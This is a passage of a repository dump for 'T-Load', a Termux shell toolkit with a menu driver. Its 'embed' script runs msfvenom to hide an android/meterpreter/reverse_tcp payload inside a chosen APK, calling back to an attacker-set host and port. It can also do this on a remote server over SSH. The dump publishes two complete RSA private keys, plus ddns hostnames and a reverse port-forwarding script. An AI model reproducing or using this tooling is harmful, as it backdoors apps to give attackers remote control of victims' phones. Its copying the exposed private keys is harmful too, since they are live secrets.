-p ">|" dpath 14 | echo "" 15 | echo "Enter the host" 16 | read -p ">|" vh 17 | echo "" 18 | echo "Enter the port" 19 | read -p ">|" vp 20 | echo "" 21 | echo "Select payload generation option" 22 | echo "1. Embed Payload from your device" 23 | echo "2. Embed Payload from server (Avoids Errors, High embed speed)" 24 | echo "3. Go back to main menu" 25 | read -p ">|" em 26 | 27 | ############################# 28 | ## Embed payload in device ## 29 | ############################# 30 | 31 | if [ $em = "1" ] 32 | then 33 | ################### 34 | ## Modify apk.rb ## 35 | ################### 36 | 37 | ## Backup default apk.rb and copy custom apk.rb 38 | if [ -e $HOME/metasploit-framework/lib/msf/core/payload/apk.rb ] 39 | then 40 | mv $HOME/metasploit-framework/lib/msf/core/payload/apk.rb $HOME/metasploit-framework/lib/msf/core/payload/apk.rb.default.back 41 | cp $HOME/T-Load/.files/apk.rb $HOME/metasploit-framework/lib/msf/core/payload/apk.rb 42 | fi 43 | if [ -e $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb ] 44 | then 45 | mv $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb.default.back 46 | cp $HOME/T-Load/.files/apk.rb $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb 47 | fi 48 | 49 | clear 50 | echo "Embed process will being locally on our device" 51 | echo "" 52 | msfvenom -x $upath -p android/meterpreter/reverse_tcp LHOST=$vh LPORT=$vp -o $dpath 53 | echo "" 54 | echo "" 55 | echo "Press enter to continue to main menu" 56 | read garbage 57 | skstool 58 | 59 | ############################### 60 | ## Embed payload from server ## 61 | ############################### 62 | 63 | elif [ $em = "2" ] 64 | then 65 | ################ 66 | ## Upload apk ## 67 | ################ 68 | clear 69 | echo "Press Enter to upload your app or [ctrl + c] to exit" 70 | read garbage 71 | rsync -r -v --progress -e "ssh -i $dir/key -o StrictHostKeyChecking=no" $upath sathvik@$host:/home/sathvik/payload 72 | sleep 3 73 | 74 | ########### 75 | ## Embed ## 76 | ########### 77 | clear 78 | fapp=$(echo "$dpath" | rev | cut -d"/" -f1 | rev) 79 | oapp=$(echo "$upath" | rev | cut -d"/" -f1 | rev) 80 | echo "Press Enter to embed your app or [ctrl + c] to exit" 81 | read garbage 82 | clear 83 | ssh -o StrictHostKeyChecking=no -i $dir/key sathvik@$host -t "sudo bind.sh $vh $vp $oapp $fapp" 84 | sleep 3 85 | 86 | ################## 87 | ## Download apk ## 88 | ################## 89 | clear 90 | echo "Press Enter to download your app or [ctrl + c] to exit" 91 | read garbage 92 | rsync -r -v --progress -e "ssh -i $dir/key -o StrictHostKeyChecking=no" sathvik@$host:/home/sathvik/embed/$fapp $dpath 93 | echo 94 | echo "If there was no error seen while downloading, then you app has been downloaded to $dpath with a name $dname" 95 | sleep 5 96 | skstool 97 | elif [ $embc = "3" ] 98 | then 99 | skstool 100 | else 101 | clear 102 | echo "Wrong Choice" 103 | sleep 3 104 | $dir/embed 105 | fi 106 | -------------------------------------------------------------------------------- /host: -------------------------------------------------------------------------------- 1 | host="awssks.ddnsfree.com" 2 | -------------------------------------------------------------------------------- /key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEA0wa/PLzRNc2q+zsCL8X6cSPhKqyXLwCtlNS2chYeujNrZwGs 3 | Svh6V8JldPsxj2aC+zWHavjMPqfiavz1JJaf8Yi1Q5x6aDrBZIdg/Bk5/2M6M6sw 4 | rbUl4X0xNMjqI1mIna3aWd6I0EUIVgpEsVIjzxslRU9INgjriMUXH0O1sLSoHmhN 5 | X1wsgPFmHMAl1F/EciyzME7mKI6A5g0ZUuxX9x20itQJB2T6s5fuPYDqu88Nnc0n 6 | 3W2V9ydwFHqr8lZWEHIhaKtOAlVIJOgCEZXr29uG2dAyodwfjRZa4+WXKZ9zLS0y 7 | YQ3ukQS2Ra/J93a5YtClTafTfT85PO+eV7oc5QIDAQABAoIBADHRtfQw33NESslk 8 | 9O8yXh23ysC4XjjKgDBSx3/HmRl8ai63RmWso7V0P1+OrfSczu9fg8jNU+q2181K 9 | StWIedob3C9KEdvpgx6ol0zs57RTSLpKAAQCcB7731IG3L/bs1UGZjYxQztoEL+/ 10 | TNhP/AQ49GOYhAO9t11iqkLHSW2dyplUwAy1+s+F+C0tx8/uUELlLDqyjBkD53Zq 11 | sPj22wVP4OD+9EYJJjY7xt9QXGGz0sGuu1I3ZaemS/xNvaV7ahcJuKUpvxHft8QB 12 | C2dDyc75SZNubJxgu4dANKUL0L5zrn4rOLJb4/t3Lj0LkaYRCK+vavXNEgK2sEcj 13 | AR08UUECgYEA/zOyVr9m1YI2xAAKCt/waVkacAH5Vgl0mn4ulCmi6yBGGZMN0XZs 14 | 1rGSXqysT9eubwErkMa7oCmed7Q9Xl8R/t0asJPuAhOCwzPD01hNMyJLbxHUze/0 15 | Gto6mPL2SRoZ7WB4z4oPvCYN8s/iiroJnnhvAHmcUH/DJ1b3MJgwDB8CgYEA06+v 16 | dFm0Fxo/qw+kBUjI1WLXxSstebE8Ts5JWfLi6AFIz18GMjBiGOYxBoN5V50suUJU 17 | 3cHvP64ZMPyJpa3a+4+r5ZkiWxhn75GwxG1RcKu+z0w3wKT6a0jFDuR8DIA5287t 18 | MNg9oPS08sctofWjZY8tlFQLYebWj2tX3KsydnsCgYEAvikFYIJq2/mVWWM2GHhZ 19 | qgZNHt05r5SIIH6Zsql7znxT/8aF62i1HR1gFc/Q7gWm4uwaTFzpfiTFAil5+RIa 20 | VLDorF7uYPms3Et8RcVscQfC8dZ1naaJXGD0fPe98SbT3v+dxff4VZh9mEqzYe/S 21 | LxVKkS4M/ibVgkDZHIqqcr0CgYBwZFsXv3jquzkKrec8FwTqpuxA90fR0NRgUw6G 22 | /3qSC/yIfb9gbmfnKHDnMG8AoabZReqhQxKwENO3Op4qpUAbSJDP+ppPG4oznHrq 23 | D9CprcZFcgY39mAvDhfybEWgrYQKvLcas/UkvEhGjpIf57e1eGuO0YCpnlJVG30u 24 | 4IaOeQKBgGRUBXQe/j9aWPEqMY7rN4BN15Yj/K6TSQkXXPhj7FPftQ2DNHESi6fu 25 | F44a1mSiZEuj0kyknK6Ileiygl7NJYpvXaycOrTeIgsYnQ8M1Qj5Vf81AqdVnPbE 26 | ggS1c80AuIGZ/eBEhpyQt3R9zg00qdak7gj8nZlm77zov4v9/4rD 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /pfs: -------------------------------------------------------------------------------- 1 | source "$HOME/.skstool_data/psf" 2 | ph="sathvikks.ddnsfree.com" 3 | chmod 600 $HOME/T-Load/pfskey 4 | if [ -e $HOME/.ssh/known_hosts ] 5 | then 6 | rm /data/data/com.termux/files/home/.ssh/known_hosts 7 | fi 8 | clear 9 | setdefault () { 10 | echo "Enter Your Code as seen in website" 11 | read -p ">|" ic 12 | echo "" 13 | echo "Enter Your UserID" 14 | read -p ">|" iud 15 | echo "" 16 | echo "Enter the Remote port as seen in the website" 17 | read -p ">|" rp 18 | echo "rport=\"$rp\"" >> $HOME/.skstool_data/psf 19 | echo "c=\"$ic\"" >> $HOME/.skstool_data/psf 20 | echo "ud=$(echo \"$iud\")" >> $HOME/.skstool_data/psf 21 | reload=$(readlink -f "$0") 22 | exec "$reload" 23 | } 24 | proceed () { 25 | echo "" 26 | echo "Enter the localport to be forwarded" 27 | read -p ">|" lp 28 | clear 29 | echo "" 30 | ssh -R $ph:$rport:localhost:$lp pfs@$ph -i $HOME/T-Load/pfskey -p 22 -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -t " sudo pfs.sh $ud $c $rport " 31 | sleep 3 32 | skstool 33 | } 34 | if [ -z "$c" ] || [ -z "$ud" ] || [ -z "$rport" ] 35 | then 36 | setdefault 37 | proceed 38 | fi 39 | clear 40 | echo "Your stored values are as follows" 41 | echo "" 42 | echo "Code ---------> $c" 43 | echo "UserID -------> $ud" 44 | echo "Remote port --> $rport" 45 | echo "" 46 | echo "Continue (Y) with the same or edit it (E) ?" 47 | read -p ">|" ct 48 | if [ $ct = "Y" ] || [ $ct = "y" ] 49 | then 50 | proceed 51 | else 52 | clear 53 | echo "Edits will take place on script restart. So the script will restart after re entering the values" 54 | setdefault 55 | reload=$(readlink -f "$0") 56 | exec "$reload" 57 | fi 58 | -------------------------------------------------------------------------------- /pfskey: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEoAIBAAKCAQB2r9X9T3UAonb/lm7Nb/5s9cZtoyCGkPljd9fnf4RE0tD5Wczx 3 | gzKAvKy8R65zPJz7+Nwbb4uHIebCbm9W0rXjs2w5hyybchiMbkAx6kHWwJ6R4/Pq 4 | NgQDsfzhjH75/ba1UdIXhuzOTdg1b94GOuRC+oKqSIQelsAtBpzUosFBfNjRawSK 5 | OpH60efJQT/mOesPVIbYKo74FlFFVcOojETiKchySvEaL981gCgoBWCjSsOcAEYa 6 | mFv4cDQdcPVYrFM3Zietj30UxWlVlYvsVdE6I6dvMDDBs0CSmmEMUkuvJuQZyd9w 7 | Hnx08U7G6IqIDtFGHlu7jacSBGsQ2+u/mOljAgElAoIBAAzUvTAkRAARkFL7gZmr 8 | PhmeB50mZGGTIeE9Y3L5B2Fi5ijLcBocBXWziEu0uOndCg1nAwnii5/n/UVzuQJ3 9 | pPYFjyjQV9l0HlRe8i7o5IXrT2m3x1eXIwdRgx9NdYLPUgXDqAKLIIUBfyhfHuvq 10 | sOSldejlPrcy5FflCgkmWhTqwTi/y3pKWrWgiDt0RMR3+hSGoEBcw8UvKT/8S68n 11 | yiUKmrczUzvfDawXIsWZcJzXvVOsTREx0up6C1ghbUUu8H5LBaEG6C8xnHE/cvfM 12 | NDmCNZoL2adPrlIhKkfrIttQpwTOuloJSjL8QsD2IbGPR9YZNRYn5QqwZMmwb3Yj 13 | Q40CgYEAu0fFbJenbGq8shiFFejNxPCFchgEu9NcSgm96vF5NcWH5tDVN4jV3E5y 14 | 64NMxOVKjsrryQpvXLcJPxV8KhI0rF6efJDALaEVpBZ/2PhnyWswAqMHYaTe+16o 15 | 0Gu61o/UVUqcWwin5a9bwtmwpSQwRluhrJHjwn/JRRlpVxU69ycCgYEAojy3fcdj 16 | XoAISYrIreQWXODxymzLwETFyau6HKLjAUX/yoLa96eKxG83OwDtShM0nYsatDEc 17 | IEh+DBi/mIaFdkiRtwtPa78k3ieKy3/NJLr/NPs7MdEzOLw+yYdYcrKoheK1SKag 18 | qG34InRTLblxMm4ThBy43e9bga3SjaWXwWUCgYEAl9lT9y7axpu7l1Imt9GEPtDa 19 | 5uMKwc33zVQBxWnX5mjPDizIjeSRuYu3H9I+Pse/6WZCowGKueCECaK3s2i1FiM0 20 | ZP++ai+VAZWzxK2772uqYwC54HfXZAePy5WeaMelPjx+xloLl6LwdHkncSRC0UNg 21 | fhVsj907aHV4AWso5BECgYB2Y6h+YREpSKwZ/X2vU2pDxr5Hm3/tK0Q5OCAHDxRa 22 | 4A2vdD7sEnoE9zYkI0VfkXlsC5AG82eNLfsdlYTk7IrnnL1cDyweMYmbMZyiVldt 23 | 1JC39ZnmFTM3PUKTD70VbZ2SIfno6Eu5Lac7vKtmjj3YsTDWBx8efjvbK9D/lIN/ 24 | SQKBgHjHVgCIjJtOC6xlxHYUFChceyPQk+NkYsqzJkCJ1KTwfJvEMi+anxhF+WyT 25 | S+CW25PhIapL9OPtFgoCSmT3oldVM0ttH16fqeEevnXl81ukZtmwc9izqPFnm4uX 26 | Au+vMtZ1z82sq4T6AuAAhTeQ2gzhl+75BmwH6uC89LJgIZpk 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /redownload: -------------------------------------------------------------------------------- 1 | clear 2 | echo "Removing old version" 3 | echo "Downloading new version " 4 | mkdir $HOME/tempskstool 5 | cd $HOME/tempskstool 6 | git clone https://github.com/SathvikKS/T-Load.git 7 | cd $HOME 8 | rm -rf T-Load 9 | cp $HOME/tempskstool/T-Load -r $HOME 10 | rm -rf tempskstool 11 | cd $HOME 12 | echo "Done updating the new script from github" 13 | echo "You can now work with it normally" 14 | sleep 2 15 | clear 16 | cd $HOME/T-Load 17 | chmod +x * 18 | chmod +x .setup 19 | chmod +x .autoupdate 20 | chmod +x .setupcheck 21 | ./.setup run 22 | skstool 23 | -------------------------------------------------------------------------------- /skstool: -------------------------------------------------------------------------------- 1 | #!/data/data/com.termux/files/usr/bin/bash 2 | clear 3 | cd $HOME/T-Load/ 4 | source $HOME/T-Load/.setup 2>&1 > /dev/null 5 | source $HOME/T-Load/.autoupdate 2>&1 > /dev/null 6 | source $HOME/T-Load/.notice 7 | chmod +x ./.setup 8 | chmod +x ./.autoupdate 9 | #################### 10 | ## Call Functions ## 11 | #################### 12 | autoupdate 13 | clear 14 | setup 15 | 16 | ###################### 17 | ## Start of skstool ## 18 | ###################### 19 | clear 20 | echo -e "$rd $bcn----------------------------------$rt" 21 | echo -e "$rd $bd $ul $bgy Version = 9.0 $rt " 22 | echo -e "$rd $bcn----------------------------------$rt" 23 | echo -e "$bl $bgy SCRIPT BY SATHVIK K S $rt " 24 | echo -e "$rd $bcn----------------------------------$rt" 25 | echo -e "$bwt $bk Select option $rt $rd" 26 | echo "1. Create Payload" 27 | echo "2. Embed Payload" 28 | echo "3. Set default commands for msfconsole" 29 | echo "4. Launch msfconsole with default values" 30 | echo "5. Port Forward (Back Online 24/04/19) " 31 | echo "6. Redownload" 32 | echo "7. Exit" 33 | echo "8. IMPORTANT NOTE (24-04-2019) (Please see it!)" 34 | echo "9. Credits" 35 | echo -e "$rt $bbl" 36 | read -p ">|" o 37 | echo -e "$rt" 38 | 39 | #################### 40 | ## Create Payload ## 41 | #################### 42 | if [ $o = "1" ] 43 | then 44 | clear 45 | ./createpayload 46 | 47 | ########### 48 | ## Embed ## 49 | ########### 50 | elif [ $o = "2" ] 51 | then 52 | clear 53 | ./embed 54 | 55 | ################################### 56 | ## Set Default msfconsole values ## 57 | ################################### 58 | elif [ $o = "3" ] 59 | then 60 | clear 61 | echo "Type the set of commands and then press [ctrl + x] followed by [y] and then click [Enter] to save the file" 62 | echo "Press Enter to continue" 63 | read garbage 64 | clear 65 | nano $HOME/skstool_data/msfd 66 | echo "Value stored" 67 | sleep 2 68 | skstool 69 | 70 | ########################################### 71 | ## Launch msfconsole with default values ## 72 | ########################################### 73 | elif [ $o = "4" ] 74 | then 75 | clear 76 | cd 77 | msfconsole -r $HOME/skstool_data/msfd 78 | 79 | ################## 80 | ## Port Forward ## 81 | ################## 82 | elif [ $o = "5" ] 83 | then 84 | clear 85 | if [[ ! -e $HOME/skstool_data/psf ]]; then 86 | touch $HOME/skstool_data/psf 87 | fi 88 | ./pfs 89 | 90 | ################ 91 | ## Redownload ## 92 | ################ 93 | elif [ $o = "6" ] 94 | then 95 | clear 96 | ./redownload 97 | 98 | ########## 99 | ## Exit ## 100 | ########## 101 | elif [ $o = "7" ] 102 | then 103 | echo " " 104 | clear 105 | exit 106 | 107 | ###################### 108 | ## Important notice ## 109 | ###################### 110 | elif [ $o = "8" ] 111 | then 112 | notice 113 | sleep 1 114 | skstool 115 | 116 | ############# 117 | ## Credits ## 118 | ############# 119 | elif [ $o = "9" ] 120 | then 121 | echo "1) Sathvik K S -> Creator and Maintiner of T-Load" 122 | echo "2) Hax4Us -> Providing java, apktool and zipalign" 123 | echo "3) Karan and Hitesh for being honest and promt testers of the script" 124 | echo "" 125 | echo "Press enter to go back" 126 | read garbage 127 | skstool 128 | ######### 129 | ## End ## 130 | ######### 131 | else 132 | clear 133 | echo "Wrong choice. Please try again" 134 | sleep 3 135 | skstool 136 | fi 137 | --------------------------------------------------------------------------------